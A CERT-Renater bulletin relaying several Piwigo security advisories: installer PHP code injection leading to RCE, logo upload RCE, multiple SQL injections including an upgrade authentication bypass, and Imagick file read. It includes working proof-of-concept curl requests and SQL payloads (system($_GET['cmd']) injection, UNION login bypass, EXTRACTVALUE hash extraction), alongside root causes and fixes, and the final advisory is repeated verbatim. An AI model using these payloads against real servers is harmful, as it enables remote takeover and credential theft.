Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN796 _____________________________________________________________________ DATE : 29/07/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running piwigo. ===================================================================== https://github.com/Piwigo/Piwigo/security/advisories/GHSA-gphq-34pv-gvf3 https://github.com/Piwigo/Piwigo/security/advisories/GHSA-7w97-5g4p-xqvv https://github.com/Piwigo/Piwigo/security/advisories/GHSA-hq29-8hhx-5jwc https://github.com/Piwigo/Piwigo/security/advisories/GHSA-j9q6-q52g-g8jw https://github.com/Piwigo/Piwigo/security/advisories/GHSA-6wj3-7fhw-gfpm https://github.com/Piwigo/Piwigo/security/advisories/GHSA-jhp4-7f82-8f6q https://github.com/Piwigo/Piwigo/security/advisories/GHSA-7r67-9xhq-7p2c https://github.com/Piwigo/Piwigo/security/advisories/GHSA-7r67-9xhq-7p2c _____________________________________________________________________ RCE via PHP Code Injection into Config File in Installer Critical plegall published GHSA-gphq-34pv-gvf3 Package piwigo/piwigo (Composer) Affected versions <= 16.3.0 Patched versions None Description VULNERABILITY SUMMARY Type: Unauthenticated Remote Code Execution (RCE) Severity: Critical CVSS 4.0 Score: 9.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) Affected Component: /install.php Attack Vector: Network (no authentication required) ENVIRONMENT DETAILS Piwigo Version: 16.3.0 PHP Version: 8.4.18 (cli) (built: Mar 2 2026 11:55:35) (NTS) Database: MariaDB 11.8.6-MariaDB Test Environment: Docker (piwigo/piwigo:latest) Test Date: March 20, 2026 Confirmed RCE Output: uid=100(nginx) gid=101(nginx) groups=82(www-data),101(nginx),101(nginx) VULNERABILITY DESCRIPTION The Piwigo installer (install.php) accepts POST parameters for database configuration and writes them directly into a PHP configuration file without proper sanitization. Root Cause: On PHP 8+, the addslashes() protection is bypassed because it checks for get_magic_quotes_gpc(), a function removed in PHP 8.0. This allows raw user input to be interpolated directly into PHP source code. Impact: An unauthenticated attacker can inject arbitrary PHP code through POST parameters (prefix, dbpasswd, dbhost, dbname, or dbuser), which gets written to local/config/database.inc.php and executed on every page load. REPRODUCTION STEPS Step 1: Send Malicious Install Request curl -s -X POST 'http://127.0.0.1:8080/install.php' \ --data-urlencode 'install=true' \ --data-urlencode 'dbhost=piwigo-db:3306' \ --data-urlencode 'dbuser=piwigodb_user' \ --data-urlencode 'dbpasswd=PiwigoTest2026' \ --data-urlencode 'dbname=piwigodb' \ --data-urlencode "prefix=piwigo_x'; system(\$_GET['cmd']); \$x='" \ --data-urlencode 'admin_name=admin' \ --data-urlencode 'admin_pass1=T123!' \ --data-urlencode 'admin_pass2=T123!' \ --data-urlencode 'admin_mail=[t@t.com](mailto:t@t.com)' Step 2: Trigger Remote Code Execution curl -s 'http://127.0.0.1:8080/?cmd=id' Expected Output: uid=100(nginx) gid=101(nginx) groups=82(www-data),101(nginx),101(nginx) What Happens Internally: The vulnerable code writes to local/config/database.inc.php: $conf['tables_prefix'] = 'piwigo_x'; system($_GET['cmd']); $x=''; The injected system($_GET['cmd']) executes with web server privileges on every page load. IMPACT An unauthenticated attacker who discovers an unfinished installation can: Execute arbitrary system commands as nginx/www-data user Read/write any file accessible to the web server Access database credentials from the written config file Install persistent backdoors that survive installation completion Potentially pivot to internal services or escape the container CVE REQUEST I request that a CVE be assigned for this vulnerability. I am available to: Provide additional technical details privately Test patches before public release Coordinate with MITRE or GitHub Security Advisory as needed CONTACT Researcher: mohammed el ouardani Email: mohammmedelouardani48@gmail.com Severity Critical 9.8/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2026-35048 Weaknesses WeaknessCWE-20 WeaknessCWE-94 Credits @sh4dowalker sh4dowalker Reporter _____________________________________________________________________ Authenticated RCE via File Upload in Logo Upload Feature Critical plegall published GHSA-7w97-5g4p-xqvv Package Piwigo Affected versions >= 16.2.0, <= 17.0.0beta1 Patched versions None Description Summary The logo upload functionality in the administrative panel improperly validates uploaded files by relying on mime_content_type() without enforcing strict extension or content validation. This allows authenticated attackers to upload malicious files that may be executed by the server. Details Remote Code Execution (RCE) via Extension Manipulation The code does not perform consistent validation of the file extension. The extension is derived directly from the original filename provided by the user and reused when constructing the final filename, without comparison against a strict whitelist of allowed extensions. This opens the possibility of uploading files with dangerous extensions disguised as images, such as shell.php.svg or image.svg.php. Vulnerable Code The following snippet highlights the insecure logic, where both validation and filename construction are handled without proper controls: admin/themes_standard_pages.php $mime_type = mime_content_type($_FILES['std_pgs_logo']['tmp_name']); $allowed_mimes = array( 'image/png', 'image/jpeg', 'image/svg+xml', 'image/svg' ); $pathinfo = pathinfo($_FILES['std_pgs_logo']['name']); $filename = str2url($pathinfo['filename']); $extension = strtolower($pathinfo['extension']); $new_name = $filename . '.' . $extension; $file_path = $upload_dir . '/' . $new_name; if (move_uploaded_file($_FILES['std_pgs_logo']['tmp_name'], $file_path)) { $logo['file'] = substr($file_path, strlen(PHPWG_ROOT_PATH)); } PoC Log in as an administrator Navigate to the logo upload feature Upload a file named shell.svg.php containing PHP code like: '; print_r(scandir(__DIR__)); echo ''; ?> Access the uploaded file via browser PHP code is executed by the server, confirming RCE Impact An authenticated administrator can upload a malicious file that is executed by the server, leading to Remote Code Execution (RCE). This may result in full system compromise, including arbitrary command execution, data exfiltration, and persistence. Severity Critical 9.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required High User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-42322 Weaknesses Weakness CWE-434 Credits @LipeOzyy LipeOzyy Reporter _____________________________________________________________________ Unauthenticated SQL injection in `pwg.images.filteredSearch.create` Critical plegall published GHSA-hq29-8hhx-5jwc Package Piwigo (Composer) Affected versions 17.0.0beta1 Patched versions None Description Summary Piwigo 17.0.0beta1 is affected by an unauthenticated SQL injection in pwg.images.filteredSearch.create. The issue is in the ratings[] search filter. A guest can create a filtered search through ws.php; the submitted ratings[] values are stored in the search rules and later reused when the search page builds its SQL query. The lower bound is cast with intval($r), but the upper bound still uses the raw $r value. The rating feature has to be enabled for this path to execute. Web services are enabled by default in the tested source tree, and the default filter configuration exposes the rating filter to everybody once rating is enabled. Details Tested environment: Piwigo: 17.0.0beta1 PHP: 8.2.31 MariaDB: 10.11.18 Tested commit: 2357a86d51b315b846884e9f77076a82ccdbd1f2 Relevant code: ws.php:12-18 loads the web service entry point with check_status(ACCESS_FREE). include/config_default.inc.php:851 sets allow_web_services to true. ws.php:1448+ registers pwg.images.filteredSearch.create without admin_only. include/ws_functions/pwg.images.php:1040-1042 copies ratings into $search['fields']['ratings']. include/functions_search.inc.php:627-650 builds the SQL clause for the rating filter. The vulnerable expression is: $filter_clauses[] = '(rating_score >= '.(intval($r)-1).' AND rating_score < '.$r.')'; intval($r) only protects the lower bound. The upper bound is still attacker-controlled. PoC Enable rating if it is not already enabled. As a guest user, create a filtered search with a crafted ratings[] value: POST /ws.php?format=json&method=pwg.images.filteredSearch.create HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded Connection: close ratings[]=1)%20OR%20EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e)))%20--%20 Example response: {"stat":"ok","result":{"search_id":"psk-20260617-usSCb0UGwm","search_url":"http://127.0.0.1:18089/index.php?/search/psk-20260617-usSCb0UGwm"}} Open the returned search URL: GET /index.php?/search/ HTTP/1.1 Host: Connection: close In my local lab this produced: Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~piwigo~' The payload above is only an error-based proof that the injected SQL is evaluated. I did not run destructive queries. Impact An unauthenticated user can inject SQL into the public search flow on installations where rating is enabled. With the tested MariaDB setup I confirmed error-based extraction of the current database name. The same bug class can also support blind extraction and time-based delays, depending on database behavior and privileges. Suggested fix Validate ratings[] before it is stored in the search rules, and only accept values from the configured rating list. The SQL builder should also avoid using raw filter values; in this case both bounds should be derived from a validated integer. Severity Critical 9.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity High Availability None CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CVE ID CVE-2026-62262 Weaknesses Weakness CWE-89 Credits @iys8 iys8 Finder _____________________________________________________________________ Arbitrary file read and remote code execution via insecure image processing High plegall published GHSA-j9q6-q52g-g8jw Package Piwigo (PHP) Affected versions <=16.3.0 Patched versions None Description Description A vulnerability exists in image upload handling when using the Imagick library due to insufficient validation and unsafe processing of user-supplied image files. By abusing format confusion (e.g., disguising SVG content as PNG), an attacker can trigger unintended interpretation of embedded SVG elements that reference local files. In more advanced scenarios, the Imagick support for Magick Scripting Language (MSL) may be abused to process attacker-controlled instructions, potentially leading to unauthorized server-side file writes and remote code execution, depending on configuration. PoC Create a simple file with the .png extension and the following content, then upload it to Piwigo Impact Unauthorized reading of local server files Server-side file write operations and remote code execution Remediation Enforce strict file type validation: Verify both MIME type and file signature (magic bytes) to ensure that uploaded files genuinely match their declared format, preventing SVG content from being processed as a PNG. Sanitize SVG files before processing: Use a dedicated sanitization library to strip unsafe elements (e.g., , external references, scripts) and block inclusion of local or remote resources within SVG content. Harden Imagick security policy: Configure Imagick (via policy.xml) to disable or restrict risky coders and features (such as SVG and MSL) and limit file system access to reduce the attack surface during image processing. Severity High 7.2/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required High User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVE ID No known CVE Weaknesses Weakness CWE-20 Credits @jch-helx jch-helx Reporter _____________________________________________________________________ SQL injection in upgrade authentication allows unauthenticated upgrade authorization bypass (PHP 8+) High plegall published GHSA-6wj3-7fhw-gfpm Package Piwigo (Piwigo) Affected versions <= 17.0.0 Patched versions None Description Summary An SQL injection in the upgrade authentication flow allows an unauthenticated attacker to bypass upgrade access checks and trigger upgrade execution. Details In check_upgrade_access_rights(), the username escaping is conditional on function_exists('get_magic_quotes_gpc'). On PHP 8+, this function no longer exists, so escaping is skipped and username is concatenated directly into SQL. Relevant code: https://github.com/Piwigo/Piwigo/blob/master/admin/include/functions_upgrade.php#L215-L242 https://github.com/Piwigo/Piwigo/blob/master/upgrade.php#L405-L420 Because the auth query result is trusted for status/password verification and then sets PHPWG_IN_UPGRADE, an injected row can satisfy the checks and authorize upgrade execution. PoC Precondition: target has pending DB upgrades (typical right fter files update, before running upgrade). curl -i -X POST 'https://TARGET/upgrade.php?language=en_UK' \ --data-urlencode "username=' AND 1=0 UNION SELECT '0cc175b9c0f1b6a831c399e269772661','webmaster' -- -" \ --data 'password=a&submit=1' Expected result: upgrade flow starts without valid admin credentials. Impact Remote unauthenticated attacker can bypass upgrade authentication and run upgrade logic, causing unauthorized database state changes (integrity/availability impact). Severity High 8.2/ 10 CVSS v3 base metrics Attack vector Network Attack complexity High Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2026-44642 Weaknesses Weakness CWE-89 Credits @maru1009 maru1009 Reporter _____________________________________________________________________ Second-Order SQL Injection in Piwigo High plegall published GHSA-jhp4-7f82-8f6q Package No package listed Affected versions 16.2 Patched versions None Description Executive Summary A second-order SQL injection vulnerability was discovered in Piwigo 16.2.0. The vulnerability exists in the album sort order functionality, where user-supplied input is stored without validation and later executed as part of SQL queries. An authenticated administrator can exploit this vulnerability to extract sensitive data from the database, including user credentials, or potentially modify/delete data. Vulnerability Details: Product: Piwigo Version: 16.2.0 Vulnerability Type: Second-Order SQL Injection (Error-Based) CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command Severity: HIGH CVSS 3.1 Score: 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Authentication Required: Administrator Technical Details Vulnerable Code: The vulnerability resides in admin/element_set_ranks.php, which handles the album photo sort order configuration. Source (element_set_ranks.php, lines 56-75) if ($image_order_choice=='user_define') { for ($i=0; $i<3; $i++) { if (!empty($_POST['image_order'][$i])) { if (!empty($image_order)) $image_order.= ','; $image_order.= $_POST['image_order'][$i]; // NO VALIDATION! } } } // ... $query = ' UPDATE '.CATEGORIES_TABLE.' SET image_order = '.(isset($image_order) ? '\''.$image_order.'\'' : 'NULL').' WHERE id='.$page['category_id']; pwg_query($query); Root Cause Analysis: The application provides a dropdown menu with valid sort options but fails to validate server-side that the submitted value matches one of the allowed options. The $_POST['image_order'] parameter is directly concatenated into a SQL UPDATE statement and later used in ORDER BY clauses without sanitization. Key Issue: A whitelist of valid sort options exists ($sort_fields array on lines 180-196) but is never enforced server-side. Vulnerable Sinks: The stored image_order value is used unsafely in multiple locations: admin/batch_manager_global.php (line ~408) Code: $conf['order_by'] = ' ORDER BY '.$category_info['image_order']; admin/batch_manager_unit.php Code: $conf['order_by'] = ' ORDER BY '.$category_info['image_order']; include/section_init.inc.php Code: $conf['order_by'] = ' ORDER BY '.$page['category']['image_order']; include/ws_functions/pwg.categories.php Code: $order_by = $cats[$params['cat_id'][0]]['image_order']; Proof of Concept Prerequisites: Administrator account access At least one album with one photo Exploitation Steps Step 1: Inject Malicious Payload Request: POST /admin.php?page=element_set_ranks&cat_id=1 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= Content-Type: application/x-www-form-urlencoded Content-Length: 200 rank_of_image[1]=20&image_order_choice=user_define&image_order[0]=EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+password+FROM+piwigo_users+WHERE+id=1),0x7e))&image_order[1]=&image_order[2]=&submit=1 image Step 2: Verify Payload Storage SELECT id, image_order FROM piwigo_categories; image Step 3: Trigger SQL Injection Request: GET /admin.php?page=batch_manager&filter=album-1 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= image Additional PoC: Syntax Error Confirmation To simply confirm SQL injection without data extraction: Payload: image_order[0]=id))) Result: Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '))) LIMIT 20 OFFSET 0' at line 6 in /var/www/html/piwigo/include/dblayer/functions_mysqli.inc.php:132 Stack trace: #0 /var/www/html/piwigo/include/dblayer/functions_mysqli.inc.php(132): mysqli->query() #1 /var/www/html/piwigo/admin/batch_manager_global.php(581): pwg_query() Impact Successful exploitation allows an attacker with administrator credentials to: Data Exfiltration: Extract sensitive information including user credentials, email addresses, and configuration data Privilege Escalation: Extract password hashes to crack offline, potentially gaining access to other accounts Data Manipulation: Modify or delete photos, albums, and configuration data Denial of Service: Execute resource-intensive queries to degrade performance Remediation Primary Fix: Input Validation at Source Implement server-side whitelist validation in admin/element_set_ranks.php to ensure only predefined sort options are accepted. Each submitted $_POST['image_order'] value must be validated against the existing $sort_fields array keys before being stored in the database. The application already defines a whitelist of valid sort options (lines 180-196) but fails to enforce it. This validation must be applied server-side, not just client-side. Defense in Depth: Validation at Sinks Add validation at each sink location before concatenating image_order values into SQL queries: admin/batch_manager_global.php admin/batch_manager_unit.php include/section_init.inc.php include/ws_functions/pwg.categories.php Even if the source is properly validated, sink validation provides an additional security layer against: Direct database modifications Other potential entry points that may write to image_order Future code changes that might bypass source validation References CWE-89: Improper Neutralization of Special Elements used in an SQL Command OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection OWASP Testing Guide - SQL Injection: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection Severity High 7.2/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required High User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2026-42324 Weaknesses Weakness CWE-89 Credits @chakradhar1228 chakradhar1228 Reporter _____________________________________________________________________ SQL Injection in Batch Manager High plegall published GHSA-7r67-9xhq-7p2c Package No package listed Affected versions 16.2 Patched versions None Description Executive Summary A time-based blind SQL injection vulnerability was discovered in the Piwigo Photo Gallery application's Batch Manager functionality. The vulnerability exists in the URL filter parsing mechanism, specifically affecting the dimension and filesize filter parameters. An authenticated administrator can exploit this vulnerability to extract sensitive data from the database, modify data, or potentially compromise the underlying server. Vulnerability Details: Version: 16.2 Vulnerability: Time-Based Blind SQL Injection Location: admin/batch_manager.php Parameters: dimension (width, height, ratio), filesize Severity: HIGH CVSS Score: 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Authentication: Administrator Technical Details: Vulnerable Component: The vulnerability resides in admin/batch_manager.php at: Lines 258-279: URL filter parsing (no input validation) Lines 535-556: SQL query construction (direct concatenation) Root Cause Analysis: The application accepts filter parameters via URL and stores them in PHP session variables without proper validation. When filters are applied via GET parameters (URL), the dimension and filesize values are not validated for numeric type before being used in SQL queries. Vulnerable Code - URL Filter Parsing (lines 258-279): case 'dimension': $dim_map = array('w'=>'width','h'=>'height','r'=>'ratio'); foreach (explode('-', $value) as $part) { $values = explode('..', substr($part, 1)); // NO VALIDATION! if (isset($dim_map[$part[0]])) { $type = $dim_map[$part[0]]; list( $_SESSION['bulk_manager_filter']['dimension']['min_'.$type], $_SESSION['bulk_manager_filter']['dimension']['max_'.$type] ) = $values; // Stored directly without sanitization } } break; case 'filesize': list( $_SESSION['bulk_manager_filter']['filesize']['min'], $_SESSION['bulk_manager_filter']['filesize']['max'] ) = explode('..', $value); // NO VALIDATION! break; Vulnerable Code - SQL Query Construction (lines 535-556): if (isset($_SESSION['bulk_manager_filter']['dimension']['min_width'])) { $where_clause[] = 'width >= '.$_SESSION['bulk_manager_filter']['dimension']['min_width']; } if (isset($_SESSION['bulk_manager_filter']['dimension']['max_width'])) { $where_clause[] = 'width <= '.$_SESSION['bulk_manager_filter']['dimension']['max_width']; } if (isset($_SESSION['bulk_manager_filter']['dimension']['min_ratio'])) { $where_clause[] = 'width/height >= '.$_SESSION['bulk_manager_filter']['dimension']['min_ratio']; } // Values inserted directly into SQL without quotes or escaping Key Observation: The POST method correctly uses filter_var(..., FILTER_VALIDATE_INT) for validation (line 167), but the GET method (URL filters) has no such validation, allowing SQL injection payloads to be stored in the session and later executed. Proof of Concept: Exploitation Steps Authenticate as an administrator user Navigate to the Batch Manager page Inject SQL payload via the filter URL parameter PoC Payloads: Time-Based Blind SQLi using width parameter: GET /admin.php?page=batch_manager&filter=dimension-w1%20AND%20SLEEP(10)..100 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= Result: Response delayed by 10,207ms (confirming SQL execution) Time-Based Blind SQLi using ratio parameter: GET /admin.php?page=batch_manager&filter=dimension-r1%20AND%20SLEEP(5)..2 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= Result: Response delayed by 10,248ms (SLEEP executes twice in query) Scaled SLEEP Test (confirming linear correlation): GET /admin.php?page=batch_manager&filter=dimension-r1%20AND%20SLEEP(2)..2 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= Result: Response delayed by ~4,000ms Note: The linear correlation between SLEEP duration and response time definitively confirms SQL injection. The doubled delay for ratio parameter indicates the query executes twice in the code flow. Impact Successful exploitation allows an attacker with administrator credentials to: Data Exfiltration: Extract sensitive information from the database including user credentials, email addresses, and session tokens Privilege Escalation: Modify user roles or create new administrator accounts Data Manipulation: Modify or delete photos, albums, and configuration data Denial of Service: Execute resource-intensive queries to degrade performance Potential RCE: In certain configurations, SQL injection can lead to file read/write operations via INTO OUTFILE or load_file() functions Remediation Apply numeric validation to all filter parameters received via GET request, consistent with the POST method validation: Patched Code for dimension filter (lines 258-272): case 'dimension': $dim_map = array('w'=>'width','h'=>'height','r'=>'ratio'); foreach (explode('-', $value) as $part) { $values = explode('..', substr($part, 1)); if (isset($dim_map[$part[0]])) { $type = $dim_map[$part[0]]; $filter = ($type == 'ratio') ? FILTER_VALIDATE_FLOAT : FILTER_VALIDATE_INT; if (filter_var($values[0], $filter) !== false) { $_SESSION['bulk_manager_filter']['dimension']['min_'.$type] = $values[0]; } if (isset($values[1]) && filter_var($values[1], $filter) !== false) { $_SESSION['bulk_manager_filter']['dimension']['max_'.$type] = $values[1]; } } } break; Patched Code for filesize filter (lines 274-279): case 'filesize': $fs_values = explode('..', $value); if (filter_var($fs_values[0], FILTER_VALIDATE_FLOAT) !== false) { $_SESSION['bulk_manager_filter']['filesize']['min'] = $fs_values[0]; } if (isset($fs_values[1]) && filter_var($fs_values[1], FILTER_VALIDATE_FLOAT) !== false) { $_SESSION['bulk_manager_filter']['filesize']['max'] = $fs_values[1]; } break; References: CWE-89: Improper Neutralization of Special Elements used in an SQL Command OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection Credit: Chakradhar Chirumamilla (https://www.linkedin.com/in/chirumamilla-chakradhar/) Severity High 7.2/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required High User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2026-42323 Weaknesses Weakness CWE-89 Credits @chakradhar1228 chakradhar1228 Reporter _____________________________________________________________________ SQL Injection in Batch Manager High plegall published GHSA-7r67-9xhq-7p2c Package No package listed Affected versions 16.2 Patched versions None Description Executive Summary A time-based blind SQL injection vulnerability was discovered in the Piwigo Photo Gallery application's Batch Manager functionality. The vulnerability exists in the URL filter parsing mechanism, specifically affecting the dimension and filesize filter parameters. An authenticated administrator can exploit this vulnerability to extract sensitive data from the database, modify data, or potentially compromise the underlying server. Vulnerability Details: Version: 16.2 Vulnerability: Time-Based Blind SQL Injection Location: admin/batch_manager.php Parameters: dimension (width, height, ratio), filesize Severity: HIGH CVSS Score: 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Authentication: Administrator Technical Details: Vulnerable Component: The vulnerability resides in admin/batch_manager.php at: Lines 258-279: URL filter parsing (no input validation) Lines 535-556: SQL query construction (direct concatenation) Root Cause Analysis: The application accepts filter parameters via URL and stores them in PHP session variables without proper validation. When filters are applied via GET parameters (URL), the dimension and filesize values are not validated for numeric type before being used in SQL queries. Vulnerable Code - URL Filter Parsing (lines 258-279): case 'dimension': $dim_map = array('w'=>'width','h'=>'height','r'=>'ratio'); foreach (explode('-', $value) as $part) { $values = explode('..', substr($part, 1)); // NO VALIDATION! if (isset($dim_map[$part[0]])) { $type = $dim_map[$part[0]]; list( $_SESSION['bulk_manager_filter']['dimension']['min_'.$type], $_SESSION['bulk_manager_filter']['dimension']['max_'.$type] ) = $values; // Stored directly without sanitization } } break; case 'filesize': list( $_SESSION['bulk_manager_filter']['filesize']['min'], $_SESSION['bulk_manager_filter']['filesize']['max'] ) = explode('..', $value); // NO VALIDATION! break; Vulnerable Code - SQL Query Construction (lines 535-556): if (isset($_SESSION['bulk_manager_filter']['dimension']['min_width'])) { $where_clause[] = 'width >= '.$_SESSION['bulk_manager_filter']['dimension']['min_width']; } if (isset($_SESSION['bulk_manager_filter']['dimension']['max_width'])) { $where_clause[] = 'width <= '.$_SESSION['bulk_manager_filter']['dimension']['max_width']; } if (isset($_SESSION['bulk_manager_filter']['dimension']['min_ratio'])) { $where_clause[] = 'width/height >= '.$_SESSION['bulk_manager_filter']['dimension']['min_ratio']; } // Values inserted directly into SQL without quotes or escaping Key Observation: The POST method correctly uses filter_var(..., FILTER_VALIDATE_INT) for validation (line 167), but the GET method (URL filters) has no such validation, allowing SQL injection payloads to be stored in the session and later executed. Proof of Concept: Exploitation Steps Authenticate as an administrator user Navigate to the Batch Manager page Inject SQL payload via the filter URL parameter PoC Payloads: Time-Based Blind SQLi using width parameter: GET /admin.php?page=batch_manager&filter=dimension-w1%20AND%20SLEEP(10)..100 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= Result: Response delayed by 10,207ms (confirming SQL execution) Time-Based Blind SQLi using ratio parameter: GET /admin.php?page=batch_manager&filter=dimension-r1%20AND%20SLEEP(5)..2 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= Result: Response delayed by 10,248ms (SLEEP executes twice in query) Scaled SLEEP Test (confirming linear correlation): GET /admin.php?page=batch_manager&filter=dimension-r1%20AND%20SLEEP(2)..2 HTTP/1.1 Host: piwigo.local:8080 Cookie: pwg_id= Result: Response delayed by ~4,000ms Note: The linear correlation between SLEEP duration and response time definitively confirms SQL injection. The doubled delay for ratio parameter indicates the query executes twice in the code flow. Impact Successful exploitation allows an attacker with administrator credentials to: Data Exfiltration: Extract sensitive information from the database including user credentials, email addresses, and session tokens Privilege Escalation: Modify user roles or create new administrator accounts Data Manipulation: Modify or delete photos, albums, and configuration data Denial of Service: Execute resource-intensive queries to degrade performance Potential RCE: In certain configurations, SQL injection can lead to file read/write operations via INTO OUTFILE or load_file() functions Remediation Apply numeric validation to all filter parameters received via GET request, consistent with the POST method validation: Patched Code for dimension filter (lines 258-272): case 'dimension': $dim_map = array('w'=>'width','h'=>'height','r'=>'ratio'); foreach (explode('-', $value) as $part) { $values = explode('..', substr($part, 1)); if (isset($dim_map[$part[0]])) { $type = $dim_map[$part[0]]; $filter = ($type == 'ratio') ? FILTER_VALIDATE_FLOAT : FILTER_VALIDATE_INT; if (filter_var($values[0], $filter) !== false) { $_SESSION['bulk_manager_filter']['dimension']['min_'.$type] = $values[0]; } if (isset($values[1]) && filter_var($values[1], $filter) !== false) { $_SESSION['bulk_manager_filter']['dimension']['max_'.$type] = $values[1]; } } } break; Patched Code for filesize filter (lines 274-279): case 'filesize': $fs_values = explode('..', $value); if (filter_var($fs_values[0], FILTER_VALIDATE_FLOAT) !== false) { $_SESSION['bulk_manager_filter']['filesize']['min'] = $fs_values[0]; } if (isset($fs_values[1]) && filter_var($fs_values[1], FILTER_VALIDATE_FLOAT) !== false) { $_SESSION['bulk_manager_filter']['filesize']['max'] = $fs_values[1]; } break; References: CWE-89: Improper Neutralization of Special Elements used in an SQL Command OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection Credit: Chakradhar Chirumamilla (https://www.linkedin.com/in/chirumamilla-chakradhar/) Severity High 7.2/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required High User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2026-42323 Weaknesses Weakness CWE-89 Credits @chakradhar1228 chakradhar1228 Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================